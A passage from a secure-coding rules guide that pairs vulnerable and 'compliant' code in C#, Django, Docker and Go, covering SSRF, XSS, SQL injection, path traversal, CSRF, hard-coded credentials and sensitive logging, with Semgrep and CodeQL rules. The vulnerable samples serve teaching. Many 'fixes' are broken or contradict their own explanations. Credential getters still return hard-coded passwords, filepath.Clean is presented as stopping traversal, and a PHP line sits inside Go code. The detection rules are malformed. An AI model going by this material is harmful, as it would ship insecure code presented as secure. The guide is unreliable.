} } } public interface ILogger { void LogInfo(string message); void LogError(string message); } ``` In this noncompliant code, the logger interface (ILogger) is used to log both informational and error messages during the payment processing. However, the code does not include any security-relevant information in the log messages. It only provides generic messages without any specific details that could help identify or diagnose potential security issues. To address this issue, here's an example of compliant code that includes security-relevant information in the log messages: Compliant code: ```php using System; public class PaymentController { private readonly ILogger logger; public PaymentController(ILogger logger) { this.logger = logger; } public void ProcessPayment(decimal amount) { // Process payment logic try { // Payment processing code here... logger.LogInfo($"Payment processed successfully. Amount: {amount}"); } catch (Exception ex) { logger.LogError($"Payment processing failed. Amount: {amount}. Error: {ex.Message}"); } } } public interface ILogger { void LogInfo(string message); void LogError(string message); } ``` In the compliant code, the log messages include the sensitive information, such as the payment amount, in addition to the generic message. This provides more context and helps in auditing, troubleshooting, and detecting any potential security incidents. Semgrep: ``` rules: - id: improper-output-neutralization pattern: | using System; public class PaymentController { private readonly ILogger logger; public PaymentController(ILogger logger) { this.logger = logger; } public void ProcessPayment(decimal amount) { // Process payment logic try { // Payment processing code here... logger.LogInfo($"Payment processed successfully: {amount}"); } catch (Exception ex) { logger.LogError("Payment processing failed"); } } } ``` CodeQL: ``` import csharp from MethodAccess ma, MethodAccess ma2, StringConcatenation concat where ma.getTarget().getType().getQualifiedName() = "ILogger" and ma.getTarget().hasQualifiedName("ILogger", "LogInfo") and ma2.getTarget().getType().getQualifiedName() = "PaymentController" and ma2.getTarget().getName() = "ProcessPayment" and concat.getAnOperand() = ma2.getTarget() and concat.getParent*().getAPrimaryQlClass() instanceof ExpressionStatement select ma2, "Improper output neutralization for logs" ``` ## Sensitive Information into Log File Noncompliant code: ```php using System; using System.IO; public class UserController { private readonly ILogger logger; public UserController(ILogger logger) { this.logger = logger; } public void CreateUser(string username, string password) { try { // User creation logic here... logger.LogInfo($"User '{username}' created successfully"); } catch (Exception ex) { logger.LogError($"Failed to create user '{username}'"); } } } public interface ILogger { void LogInfo(string message); void LogError(string message); } ``` In this noncompliant code, the UserController class includes a method CreateUser that logs sensitive information, namely the username and password, into the log file. Storing such sensitive information in plain text in the log file is a security vulnerability as it could lead to unauthorized access if the log files are compromised. To address this issue, here's an example of compliant code that avoids logging sensitive information into the log file: Compliant code: ```php using System; using System.IO; public class UserController { private readonly ILogger logger; public UserController(ILogger logger) { this.logger = logger; } public void CreateUser(string username) { try { // User creation logic here... logger.LogInfo($"User '{username}' created successfully"); } catch (Exception ex) { logger.LogError($"Failed to create user '{username}'"); } } } public interface ILogger { void LogInfo(string message); void LogError(string message); } ``` In the compliant code, the CreateUser method no longer accepts the password as a parameter, and therefore it is not logged into the log file. Only the username, which is considered non-sensitive information, is logged for auditing and troubleshooting purposes. It's crucial to avoid logging sensitive information to minimize the risk of data breaches and unauthorized access. Semgrep: ``` rules: - id: improper-output-neutralization pattern: | using System; using System.IO; public class UserController { private readonly ILogger logger; public UserController(ILogger logger) { this.logger = logger; } public void CreateUser(string username, string password) { try { // User creation logic here... logger.LogInfo($"User '{username}' created successfully"); } catch (Exception ex) { logger.LogError($"Failed to create user '{username}'"); } } } ``` CodeQL: ``` import csharp from MethodAccess ma, MethodAccess ma2, StringConcatenation concat where ma.getTarget().getType().getQualifiedName() = "ILogger" and ma.getTarget().hasQualifiedName("ILogger", "LogInfo") and ma2.getTarget().getType().getQualifiedName() = "UserController" and ma2.getTarget().getName() = "CreateUser" and concat.getAnOperand() = ma2.getTarget() and concat.getParent*().getAPrimaryQlClass() instanceof ExpressionStatement select ma2, "Improper output neutralization for logs" ``` ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php using System; using System.Net; public class ImageController { public void DisplayImage(string url) { WebClient client = new WebClient(); byte[] imageData = client.DownloadData(url); // Display the image on the website // ... } } ``` In this noncompliant code, the DisplayImage method takes a URL as input and directly makes a request to that URL using the WebClient class. This code is susceptible to SSRF attacks because it allows an attacker to specify arbitrary URLs, including internal or restricted network resources. An attacker could abuse this functionality to make requests to sensitive internal systems, retrieve confidential information, or perform actions on behalf of the server. To mitigate this vulnerability, here's an example of compliant code that includes input validation and implements a whitelist-based approach to restrict the URLs that can be accessed: Compliant code: ```php using System; using System.Net; public class ImageController { public void DisplayImage(string url) { if (!IsAllowedURL(url)) { throw new ArgumentException("Invalid image URL"); } WebClient client = new WebClient(); byte[] imageData = client.DownloadData(url); // Display the image on the website // ... } private bool IsAllowedURL(string url) { // Implement logic to check if the URL is allowed // Example: Validate against a whitelist of trusted domains or patterns // ... } } ``` In the compliant code, the DisplayImage method now includes input validation to ensure that only allowed URLs can be accessed. The IsAllowedURL method performs the necessary validation checks, such as comparing the URL against a whitelist of trusted domains or patterns. If the URL is not allowed, an exception is thrown, preventing the SSRF vulnerability. By implementing proper input validation and restricting access to only trusted URLs, the compliant code mitigates the risk of SSRF attacks and helps ensure that requests are made to legitimate and authorized resources. Semgrep: ``` metadata: difficulty: Easy rules: - id: display-image-insecure message: "Insecure image display: Potential security vulnerability when displaying images from external sources." severity: warning languages: - csharp patterns: - pattern: "WebClient client = new WebClient();\nbyte\\[\\] imageData = client.DownloadData($url$);" capture: - variable: url ``` CodeQL: ``` import csharp from MethodAccess ma where ma.getMethod().getName() = "DownloadData" and ma.getQualifier().getType().getName() = "WebClient" select ma ``` ================================================ FILE: docs/rules/django.md ================================================ --- layout: default title: Django parent: Rules --- # Django {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### XSS Noncompliant code: ```java # Noncompliant code from django.shortcuts import render def post_comment(request): name = request.POST.get('name') message = request.POST.get('message') return render(request, 'comment.html', {'name': name, 'message': message}) ``` In this noncompliant code, the post_comment view function retrieves user input from the request and directly passes it to the template without any form of sanitization or validation. This leaves the application vulnerable to Cross-Site Scripting (XSS) attacks, as an attacker can submit malicious script tags or code that will be rendered as-is when the template is rendered. Compliant code: ```java # Compliant code from django.shortcuts import render from django.utils.html import escape def post_comment(request): name = request.POST.get('name') message = request.POST.get('message') sanitized_message = escape(message) return render(request, 'comment.html', {'name': name, 'message': sanitized_message}) ``` In the compliant code, the escape function from django.utils.html is used to sanitize the user input by escaping special characters that have special meaning in HTML. This ensures that user-supplied input is treated as plain text when rendered in the template, preventing it from being executed as code. It's important to note that while the escape function provides basic protection against XSS attacks, it is context-specific. Depending on the specific output context (e.g., HTML attributes, JavaScript, CSS), additional sanitization or encoding may be required. Django provides other utilities like mark_safe and template filters (safe, escapejs, etc.) that can be used to handle different output contexts. In addition to input sanitization, other security measures you can implement in Django to mitigate XSS vulnerabilities include: * Using Django's built-in template engine and its automatic HTML escaping features to ensure that user-generated content is properly escaped. * Applying proper output encoding when rendering dynamic data within HTML attributes or other contexts that require different escaping rules. * Implementing Content Security Policies (CSP) to control the types of content allowed to be loaded and executed on your web pages. By properly sanitizing user input and implementing security measures throughout your Django application, you can effectively mitigate XSS vulnerabilities and enhance the overall security of your web application. ================================================ FILE: docs/rules/docker.md ================================================ --- layout: default title: Docker parent: Rules --- # Docker {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### Container runs as the root user Noncompliant code: ```java # Noncompliant code FROM ubuntu:latest RUN apt-get update && apt-get install -y \ software-properties-common \ python3 \ python3-pip COPY . /app WORKDIR /app RUN pip3 install -r requirements.txt CMD ["python3", "app.py"] ``` In this noncompliant code, a Dockerfile is used to build a container image for a Python application. However, the image is based on the ubuntu:latest image, which includes unnecessary packages and potentially exposes security risks. Additionally, the container runs as the root user, which is considered a security concern. Compliant code: ```java # Compliant code FROM python:3.9-slim COPY . /app WORKDIR /app RUN pip install -r requirements.txt CMD ["python", "app.py"] ``` In the compliant code, the Dockerfile is updated to use the python:3.9-slim base image, which is a lightweight and more secure image specifically designed for Python applications. This eliminates unnecessary packages and reduces the attack surface of the container. Furthermore, the container runs with a non-root user by default, providing an added layer of security. The COPY, WORKDIR, and RUN instructions are updated accordingly to work within the new image. By using a more secure base image and running the container with a non-root user, the compliant code reduces the risk of vulnerabilities and enhances the overall security of the Docker container. It's important to regularly update the base image and dependencies in your Dockerfile to leverage the latest security patches. Additionally, consider implementing other best practices such as: * Using multi-stage builds to minimize the size of the final image and exclude unnecessary build-time dependencies. * Implementing container security scanning tools to identify and address vulnerabilities in the image. * Restricting container privileges and capabilities to limit potential exploits. * Employing secrets management techniques to securely handle sensitive data within the container. By following secure coding practices and taking proactive measures to reduce the attack surface and address vulnerabilities, you can enhance the security and resilience of your Docker containers. To address this issue, here's an example of compliant code: ================================================ FILE: docs/rules/go.md ================================================ --- layout: default title: Go parent: Rules --- # Go {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/users", getUsers) http.ListenAndServe(":8080", nil) } func getUsers(w http.ResponseWriter, r *http.Request) { // Access sensitive data from the database username := "admin" password := "secret" // Return the sensitive information in the HTTP response fmt.Fprintf(w, "Username: %s, Password: %s", username, password) } ``` In this noncompliant code, the getUsers function retrieves sensitive information such as the username and password from a database. However, the code directly exposes this sensitive information in the HTTP response by returning it as part of the response body. This can lead to the exposure of credentials and other sensitive data to potential attackers. To address this issue, here's an example of compliant code that avoids the exposure of sensitive information: Compliant code: ```php package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/users", getUsers) http.ListenAndServe(":8080", nil) } func getUsers(w http.ResponseWriter, r *http.Request) { // Access sensitive data from the database username := "admin" password := "secret" // Instead of returning sensitive information, return a generic message fmt.Fprint(w, "Access denied") } ``` In the compliant code, the getUsers function still retrieves sensitive information from the database, but instead of returning it in the HTTP response, a generic message is returned. This ensures that sensitive information is not exposed to potential attackers. ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php package main import ( "fmt" "log" "net/http" ) func main() { http.HandleFunc("/login", login) http.ListenAndServe(":8080", nil) } func login(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Authenticate the user if !authenticate(username, password) { errMsg := fmt.Sprintf("Login failed for user: %s", username) log.Println(errMsg) http.Error(w, "Invalid credentials", http.StatusUnauthorized) return } // Proceed with successful login // ... // Code for handling successful login } func authenticate(username, password string) bool { // Perform authentication logic // ... // Code for authenticating the user return false } ``` In this noncompliant code, when the login credentials provided by the user fail to authenticate, the code logs the sensitive information (the username) along with an error message. The error message is then sent as a response to the client. This practice can potentially expose sensitive information to an attacker and aid in further exploitation. To address this issue, here's an example of compliant code that avoids the insertion of sensitive information into sent data via error: Compliant code: ```php package main import ( "log" "net/http" ) func main() { http.HandleFunc("/login", login) http.ListenAndServe(":8080", nil) } func login(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Authenticate the user if !authenticate(username, password) { log.Println("Login failed for user:", username) http.Error(w, "Invalid credentials", http.StatusUnauthorized) return } // Proceed with successful login // ... // Code for handling successful login } func authenticate(username, password string) bool { // Perform authentication logic // ... // Code for authenticating the user return false } ``` In the compliant code, the sensitive information (the username) is logged without any specific error message. Instead, a generic error message is sent as a response to the client to avoid exposing sensitive information. This helps protect against information disclosure vulnerabilities. ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php package main import ( "fmt" "html/template" "log" "net/http" ) var ( templates = template.Must(template.ParseFiles("index.html")) ) func main() { http.HandleFunc("/", indexHandler) http.HandleFunc("/transfer", transferHandler) log.Fatal(http.ListenAndServe(":8080", nil)) } func indexHandler(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodGet { templates.ExecuteTemplate(w, "index.html", nil) } else if r.Method == http.MethodPost { amount := r.FormValue("amount") account := r.FormValue("account") // Perform the money transfer if transferMoney(amount, account) { fmt.Fprintln(w, "Transfer successful!") } else { fmt.Fprintln(w, "Transfer failed!") } } } func transferHandler(w http.ResponseWriter, r *http.Request) { // Process transfer request // ... } func transferMoney(amount, account string) bool { // Perform money transfer logic // ... return false } ``` In this noncompliant code, there is no CSRF protection implemented. The indexHandler function handles both GET and POST requests. When a POST request is received, it performs a money transfer based on the form values provided. This code is vulnerable to CSRF attacks because it doesn't include any mechanism to verify the origin of the request, allowing attackers to craft malicious requests and perform unauthorized transfers on behalf of the authenticated user. To address this issue, here's an example of compliant code that includes CSRF protection: Compliant code: ```php package main import ( "fmt" "html/template" "log" "net/http" "github.com/gorilla/csrf" ) var ( templates = template.Must(template.ParseFiles("index.html")) ) func main() { http.HandleFunc("/", indexHandler) http.HandleFunc("/transfer", transferHandler) log.Fatal(http.ListenAndServe(":8080", csrf.Protect([]byte("32-byte-long-auth-key"))(nil))) } func indexHandler(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodGet { token := csrf.Token(r) data := struct { Token string }{ Token: token, } templates.ExecuteTemplate(w, "index.html", data) } else if r.Method == http.MethodPost { if err := r.ParseForm(); err != nil { http.Error(w, "Bad Request", http.StatusBadRequest) return } // Validate CSRF token if err := csrf.Protect([]byte("32-byte-long-auth-key")).VerifyToken(csrf.Token(r)); err != nil { http.Error(w, "Invalid CSRF token", http.StatusForbidden) return } amount := r.FormValue("amount") account := r.FormValue("account") // Perform the money transfer if transferMoney(amount, account) { fmt.Fprintln(w, "Transfer successful!") } else { fmt.Fprintln(w, "Transfer failed!") } } } func transferHandler(w http.ResponseWriter, r *http.Request) { // Process transfer request // ... } func transferMoney(amount, account string) bool { // Perform money transfer logic // ... return false } ``` In the compliant code, the Gorilla CSRF package (github.com/gorilla/csrf) is used to add CSRF protection. The CSRF token is generated in the indexHandler function and included in the template data. On form ## Use of Hard-coded Password Noncompliant code: ```php package main import ( "fmt" "log" ) func main() { password := "myHardcodedPassword" // Rest of the code // ... // Authenticate user with the hardcoded password if authenticateUser(password) { fmt.Println("Authentication successful!") } else { fmt.Println("Authentication failed!") } } func authenticateUser(password string) bool { // Perform authentication logic // ... return password == "myHardcodedPassword" } ``` In this noncompliant code, the password is directly assigned to the password variable as a hard-coded string. This is a security vulnerability because the password is easily accessible within the source code. If an attacker gains access to the source code, they can easily obtain the password and potentially compromise the system. To address this issue, here's an example of compliant code that avoids hard-coding passwords: Compliant code: ```php package main import ( "fmt" "log" "os" "syscall" "golang.org/x/crypto/ssh/terminal" ) func main() { // Prompt user to enter the password password := promptPassword("Enter your password: ") // Rest of the code // ... // Authenticate user with the entered password if authenticateUser(password) { fmt.Println("Authentication successful!") } else { fmt.Println("Authentication failed!") } } func promptPassword(prompt string) string { fmt.Print(prompt) password, _ := terminal.ReadPassword(int(syscall.Stdin)) fmt.Println() return string(password) } func authenticateUser(password string) bool { // Perform authentication logic // ... return password == "correctPassword" } ``` In the compliant code, the password is no longer hard-coded. Instead, the promptPassword function is used to securely prompt the user to enter the password. The terminal.ReadPassword function is used to read the password from the terminal without echoing it back. This way, the password remains hidden during input and is not directly visible within the code. The authenticateUser function compares the entered password with the correct password stored elsewhere (e.g., in a secure database) to perform the authentication process. ## Broken or Risky Crypto Algorithm Noncompliant code: ```php package main import ( "crypto/md5" "fmt" ) func main() { data := "Hello, World!" hash := md5.Sum([]byte(data)) fmt.Printf("MD5 Hash: %x\n", hash) } ``` In this noncompliant code, the MD5 algorithm from the crypto/md5 package is used to compute the hash of a given string. However, MD5 is considered broken and insecure for cryptographic purposes due to significant vulnerabilities, including collision attacks. Using MD5 for hashing sensitive information can expose the system to various security risks. To address this issue, here's an example of compliant code that uses a stronger cryptographic algorithm: Compliant code: ```php package main import ( "crypto/sha256" "fmt" ) func main() { data := "Hello, World!" hash := sha256.Sum256([]byte(data)) fmt.Printf("SHA-256 Hash: %x\n", hash) } ``` In the compliant code, the SHA-256 algorithm from the crypto/sha256 package is used instead of MD5. SHA-256 is considered a stronger cryptographic algorithm and provides better security for hashing sensitive information. By using SHA-256, the code mitigates the risk associated with broken or risky crypto algorithms and ensures the integrity and security of the hashed data. ## Insufficient Entropy Noncompliant code: ```php package main import ( "fmt" "math/rand" ) func generateToken() string { charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" length := 8 token := "" for i := 0; i < length; i++ { index := rand.Intn(len(charset)) token += string(charset[index]) } return token } func main() { token := generateToken() fmt.Println("Generated Token:", token) } ``` In this noncompliant code, a function generateToken() is used to generate a random token with a length of 8 characters. However, the random number generator rand.Intn() from the math/rand package is used without sufficient entropy. The math/rand package relies on a pseudo-random number generator (PRNG) that produces deterministic results based on a seed value. In this case, since no seed is explicitly set, the PRNG uses a default seed value, which can lead to predictable and non-random output. To address this issue, here's an example of compliant code that uses the crypto/rand package to generate a random token with sufficient entropy: Compliant code: ```php package main import ( "crypto/rand" "encoding/base64" "fmt" ) func generateToken() string { length := 8 tokenBytes := make([]byte, length) _, err := rand.Read(tokenBytes) if err != nil { panic(err) } token := base64.URLEncoding.EncodeToString(tokenBytes)[:length] return token } func main() { token := generateToken() fmt.Println("Generated Token:", token) } ``` In the compliant code, the crypto/rand package is used along with the rand.Read() function to generate random bytes with sufficient entropy. These random bytes are then encoded using base64 encoding to generate a random token. By using the crypto/rand package, the code ensures the use of a secure random number generator that provides sufficient entropy for generating unpredictable and secure tokens. ## XSS Noncompliant code: ```php package main import ( "fmt" "html/template" "log" "net/http" ) func handleHello(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get("name") message := fmt.Sprintf("Hello, %s!", name) template := `

Welcome

%s

` output := fmt.Sprintf(template, message) fmt.Fprint(w, output) } func main() { http.HandleFunc("/hello", handleHello) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In this noncompliant code, the handleHello function handles the "/hello" route and retrieves the value of the "name" query parameter from the URL. It then constructs an HTML response using a string template, directly interpolating the message variable into the template. This can lead to an XSS vulnerability if an attacker injects malicious script tags or other HTML entities into the "name" parameter. To address this issue, here's an example of compliant code that properly sanitizes the user input to prevent XSS attacks: Compliant code: ```php package main import ( "fmt" "html/template" "log" "net/http" ) func handleHello(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get("name") sanitized := template.HTMLEscapeString(name) message := fmt.Sprintf("Hello, %s!", sanitized) template := `

Welcome

%s

` output := fmt.Sprintf(template, message) fmt.Fprint(w, output) } func main() { http.HandleFunc("/hello", handleHello) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In the compliant code, the html/template package is used to sanitize the user input by calling the template.HTMLEscapeString() function on the name variable. This ensures that any special characters in the user input are properly escaped, preventing them from being interpreted as HTML tags or entities. By applying proper HTML escaping, the code mitigates the XSS vulnerability and prevents malicious scripts from being executed in the user's browser. ## SQL Injection Noncompliant code: ```php package main import ( "database/sql" "fmt" "log" "net/http" _ "github.com/go-sql-driver/mysql" ) func handleLogin(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") db, err := sql.Open("mysql", "root:password@/mydatabase") if err != nil { log.Fatal(err) } defer db.Close() query := fmt.Sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", username, password) rows, err := db.Query(query) if err != nil { log.Fatal(err) } defer rows.Close() // Check if the login was successful if rows.Next() { fmt.Fprintf(w, "Login successful") } else { fmt.Fprintf(w, "Login failed") } } func main() { http.HandleFunc("/login", handleLogin) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In this noncompliant code, the handleLogin function handles the "/login" route and retrieves the values of the "username" and "password" form fields from the HTTP request. It then directly interpolates these values into a SQL query string without any input validation or sanitization. This makes the code vulnerable to SQL injection attacks, where an attacker can manipulate the input values to modify the intended query or execute arbitrary SQL statements. To address this issue, here's an example of compliant code that uses parameterized queries to prevent SQL injection: Compliant code: ```php package main import ( "database/sql" "fmt" "log" "net/http" _ "github.com/go-sql-driver/mysql" ) func handleLogin(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") db, err := sql.Open("mysql", "root:password@/mydatabase") if err != nil { log.Fatal(err) } defer db.Close() query := "SELECT * FROM users WHERE username = ? AND password = ?" rows, err := db.Query(query, username, password) if err != nil { log.Fatal(err) } defer rows.Close() // Check if the login was successful if rows.Next() { fmt.Fprintf(w, "Login successful") } else { fmt.Fprintf(w, "Login failed") } } func main() { http.HandleFunc("/login", handleLogin) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In the compliant code, the SQL query is modified to use parameterized queries. The placeholders "?" are used in the query string, and the actual values are passed as additional arguments to the db.Query function. This ensures that the user input is properly treated as data and not as part of the SQL query structure, effectively preventing SQL injection attacks. By using parameterized queries, the code separates the SQL logic from the data and provides a safe and secure way to interact with the database. ## External Control of File Name or Path Noncompliant code: ```php package main import ( "fmt" "io/ioutil" "log" "net/http" "os" ) func handleFileDownload(w http.ResponseWriter, r *http.Request) { fileName := r.URL.Query().Get("file") filePath := "/path/to/files/" + fileName file, err := os.Open(filePath) if err != nil { log.Fatal(err) } defer file.Close() fileContent, err := ioutil.ReadAll(file) if err != nil { log.Fatal(err) } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", fileName)) _, err = w.Write(fileContent) if err != nil { log.Fatal(err) } } func main() { http.HandleFunc("/download", handleFileDownload) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In this noncompliant code, the handleFileDownload function handles the "/download" route and retrieves the file name from the query parameters. It then directly concatenates the file name with a base path to construct the file path. This can lead to a security vulnerability known as "external control of file name or path" where an attacker can manipulate the file name to access files outside the intended directory or perform other malicious actions. To address this issue, here's an example of compliant code that validates and sanitizes the file name to prevent unauthorized file access: Compliant code: ```php package main import ( "fmt" "io/ioutil" "log" "net/http" "os" "path/filepath" ) func handleFileDownload(w http.ResponseWriter, r *http.Request) { fileName := r.URL.Query().Get("file") // Validate and sanitize the file name fileName = filepath.Clean(fileName) if fileName == "." || fileName == ".." { log.Fatal("Invalid file name") } filePath := "/path/to/files/" + fileName file, err := os.Open(filePath) if err != nil { log.Fatal(err) } defer file.Close() fileContent, err := ioutil.ReadAll(file) if err != nil { log.Fatal(err) } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", fileName)) _, err = w.Write(fileContent) if err != nil { log.Fatal(err) } } func main() { http.HandleFunc("/download", handleFileDownload) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In the compliant code, the file name is validated and sanitized using the filepath.Clean function, which removes any relative path elements (e.g., ".", "..") and resolves the file name to its canonical form. This ensures that the file name is valid and prevents access to files outside the intended directory. By validating and sanitizing the file name, the code mitigates the risk of unauthorized file access and improves the security of the file download functionality. ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php package main import ( "fmt" "log" "net/http" ) func handleLogin(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Authenticate the user if username == "admin" && password == "secretpassword" { // Successful login fmt.Fprintf(w, "Welcome, admin!") } else { // Failed login errMsg := fmt.Sprintf("Login failed for user: %s", username) log.Println(errMsg) http.Error(w, "Invalid username or password", http.StatusUnauthorized) } } func main() { http.HandleFunc("/login", handleLogin) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In this noncompliant code, the handleLogin function handles the "/login" route and performs user authentication. If the login fails, the code generates an error message containing the username and logs it using the log.Println function. This can be a security vulnerability as it exposes sensitive information (the username) in the error message, which can be leveraged by an attacker for reconnaissance or social engineering purposes. To address this issue, here's an example of compliant code that avoids exposing sensitive information in error messages: Compliant code: ```php package main import ( "fmt" "log" "net/http" ) func handleLogin(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Authenticate the user if username == "admin" && password == "secretpassword" { // Successful login fmt.Fprintf(w, "Welcome, admin!") } else { // Failed login log.Println("Login failed for user:", username) http.Error(w, "Invalid username or password", http.StatusUnauthorized) } } func main() { http.HandleFunc("/login", handleLogin) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` In the compliant code, the error message logged using log.Println no longer includes the sensitive information (username). Instead, it simply logs a generic message indicating a failed login without exposing any sensitive details. By avoiding the inclusion of sensitive information in error messages, the code reduces the risk of exposing sensitive information to potential attackers. ## unprotected storage of credentials Noncompliant code: ```php package main import ( "fmt" "log" "os" ) var ( username string password string ) func readCredentials() { file, err := os.Open("credentials.txt") if err != nil { log.Fatal(err) } defer file.Close() fmt.Fscanf(file, "%s\n%s", &username, &password) } func main() { readCredentials() // Use the credentials for authentication // ... } ``` In this noncompliant code, the readCredentials function reads the username and password from a file (credentials.txt). However, the file is read without any encryption or protection mechanisms, leaving the credentials vulnerable to unauthorized access. Storing sensitive information in plaintext files is insecure and exposes the credentials to potential attackers who gain access to the file. To address this issue, here's an example of compliant code that protects the storage of credentials: Compliant code: ```php package main import ( "fmt" "log" "os" "path/filepath" "golang.org/x/crypto/bcrypt" ) var ( username string password []byte ) func readCredentials() { file, err := os.Open(filepath.Join("secrets", "credentials.txt")) if err != nil { log.Fatal(err) } defer file.Close() fmt.Fscanf(file, "%s\n%s", &username, &password) } func authenticateUser(inputPassword []byte) bool { err := bcrypt.CompareHashAndPassword(password, inputPassword) if err != nil { return false } return true } func main() { readCredentials() // Get user input for authentication // ... // Hash and compare passwords inputPassword := []byte("password123") if authenticateUser(inputPassword) { fmt.Println("Authentication successful!") } else { fmt.Println("Authentication failed!") } } ``` In the compliant code, several improvements have been made to enhance the storage of credentials: 1. The credentials file is stored in a separate directory named "secrets" to restrict access to authorized users. 2. The password is stored securely using a hashing algorithm. In this example, the bcrypt package is used to hash and compare passwords. This provides an extra layer of protection against unauthorized access to the plaintext password. By applying these security measures, the compliant code ensures that credentials are stored in a more secure manner, reducing the risk of unauthorized access to sensitive information. ## Trust Boundary Violation Noncompliant code: ```php package main import ( "fmt" "net/http" "os" ) func fetchUserData(userID string) ([]byte, error) { url := fmt.Sprintf("https://api.example.com/users/%s", userID) response, err := http.Get(url) if err != nil { return nil, err } defer response.Body.Close() // Read the response body data := make([]byte, response.ContentLength) _, err = response.Body.Read(data) if err != nil { return nil, err } return data, nil } func main() { userID := os.Args[1] userData, err := fetchUserData(userID) if err != nil { fmt.Printf("Error fetching user data: %s\n", err) return } fmt.Printf("User data: %s\n", userData) } ``` In this noncompliant code, the fetchUserData function directly fetches user data from an external API (api.example.com) without validating or sanitizing the input. The user ID is taken as input from the command-line arguments and used to construct the API URL. This introduces a trust boundary violation because the code assumes that the user ID is trusted and does not perform any input validation, allowing for potential malicious input to be passed and used in the URL. To address this issue, here's an example of compliant code that implements input validation and enforces a trust boundary: Compliant code: ```php $user_id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT); package main import ( "fmt" "net/http" "os" "regexp" ) func fetchUserData(userID string) ([]byte, error) { // Validate the user ID format validUserID := regexp.MustCompile(`^[a-zA-Z0-9]+$`) if !validUserID.MatchString(userID) { return nil, fmt.Errorf("Invalid user ID") } url := fmt.Sprintf("https://api.example.com/users/%s", userID) response, err := http.Get(url) if err != nil { return nil, err } defer response.Body.Close() // Read the response body data := make([]byte, response.ContentLength) _, err = response.Body.Read(data) if err != nil { return nil, err } return data, nil } func main() { userID := os.Args[1] userData, err := fetchUserData(userID) if err != nil { fmt.Printf("Error fetching user data: %s\n", err) return } fmt.Printf("User data: %s\n", userData) } ``` In the compliant code, several improvements have been made to address the trust boundary violation: 1. The user ID is validated using a regular expression to ensure that it matches the expected format (in this case, alphanumeric characters only). This helps prevent arbitrary input from being used in the API URL. 2. If the user ID fails the validation, an error is returned, indicating that the user ID is invalid. By implementing input validation, the compliant code enforces a trust boundary and ensures that only valid and trusted input is used in the API call, reducing the risk of malicious input leading to unexpected behavior or security vulnerabilities. ## Insufficiently Protected Credentials Noncompliant code: ```php package main import ( "fmt" "net/http" "os" ) const ( apiUsername = "admin" apiPassword = "password" ) func fetchUserData(userID string) ([]byte, error) { url := fmt.Sprintf("https://api.example.com/users/%s", userID) request, err := http.NewRequest(http.MethodGet, url, nil) if err != nil { return nil, err } request.SetBasicAuth(apiUsername, apiPassword) client := &http.Client{} response, err := client.Do(request) if err != nil { return nil, err } defer response.Body.Close() // Read the response body data := make([]byte, response.ContentLength) _, err = response.Body.Read(data) if err != nil { return nil, err } return data, nil } func main() { userID := os.Args[1] userData, err := fetchUserData(userID) if err != nil { fmt.Printf("Error fetching user data: %s\n", err) return } fmt.Printf("User data: %s\n", userData) } ``` In this noncompliant code, the API credentials (username and password) are hardcoded in the source code (apiUsername and apiPassword constants). Storing credentials directly in the source code poses a security risk because if an attacker gains access to the code, they will also have access to the credentials. To address this issue, here's an example of compliant code that properly protects the credentials: Compliant code: ```php package main import ( "fmt" "net/http" "os" ) func fetchUserData(userID string) ([]byte, error) { url := fmt.Sprintf("https://api.example.com/users/%s", userID) request, err := http.NewRequest(http.MethodGet, url, nil) if err != nil { return nil, err } request.SetBasicAuth(getAPIUsername(), getAPIPassword()) client := &http.Client{} response, err := client.Do(request) if err != nil { return nil, err } defer response.Body.Close() // Read the response body data := make([]byte, response.ContentLength) _, err = response.Body.Read(data) if err != nil { return nil, err } return data, nil } func getAPIUsername() string { // Retrieve the API username from a secure configuration or environment variable return "admin" } func getAPIPassword() string { // Retrieve the API password from a secure configuration or environment variable return "password" } func main() { userID := os.Args[1] userData, err := fetchUserData(userID) if err != nil { fmt.Printf("Error fetching user data: %s\n", err) return } fmt.Printf("User data: %s\n", userData) } ``` In the compliant code, the credentials are no longer hardcoded in the source code. Instead, the getAPIUsername and getAPIPassword functions retrieve the credentials from secure configurations or environment variables. This separation of sensitive information from the code helps protect the credentials and reduces the risk of exposure if the code is compromised. By properly protecting the credentials and ensuring they are obtained from secure sources, the compliant code mitigates the risk of unauthorized access to sensitive information. ## Restriction of XML External Entity Reference Noncompliant code: ```php package main import ( "encoding/xml" "fmt" "io/ioutil" "net/http" "os" ) type User struct { ID int `xml:"id"` Name string `xml:"name"` } func getUserData(userID string) (*User, error) { url := fmt.Sprintf("https://api.example.com/users/%s", userID) 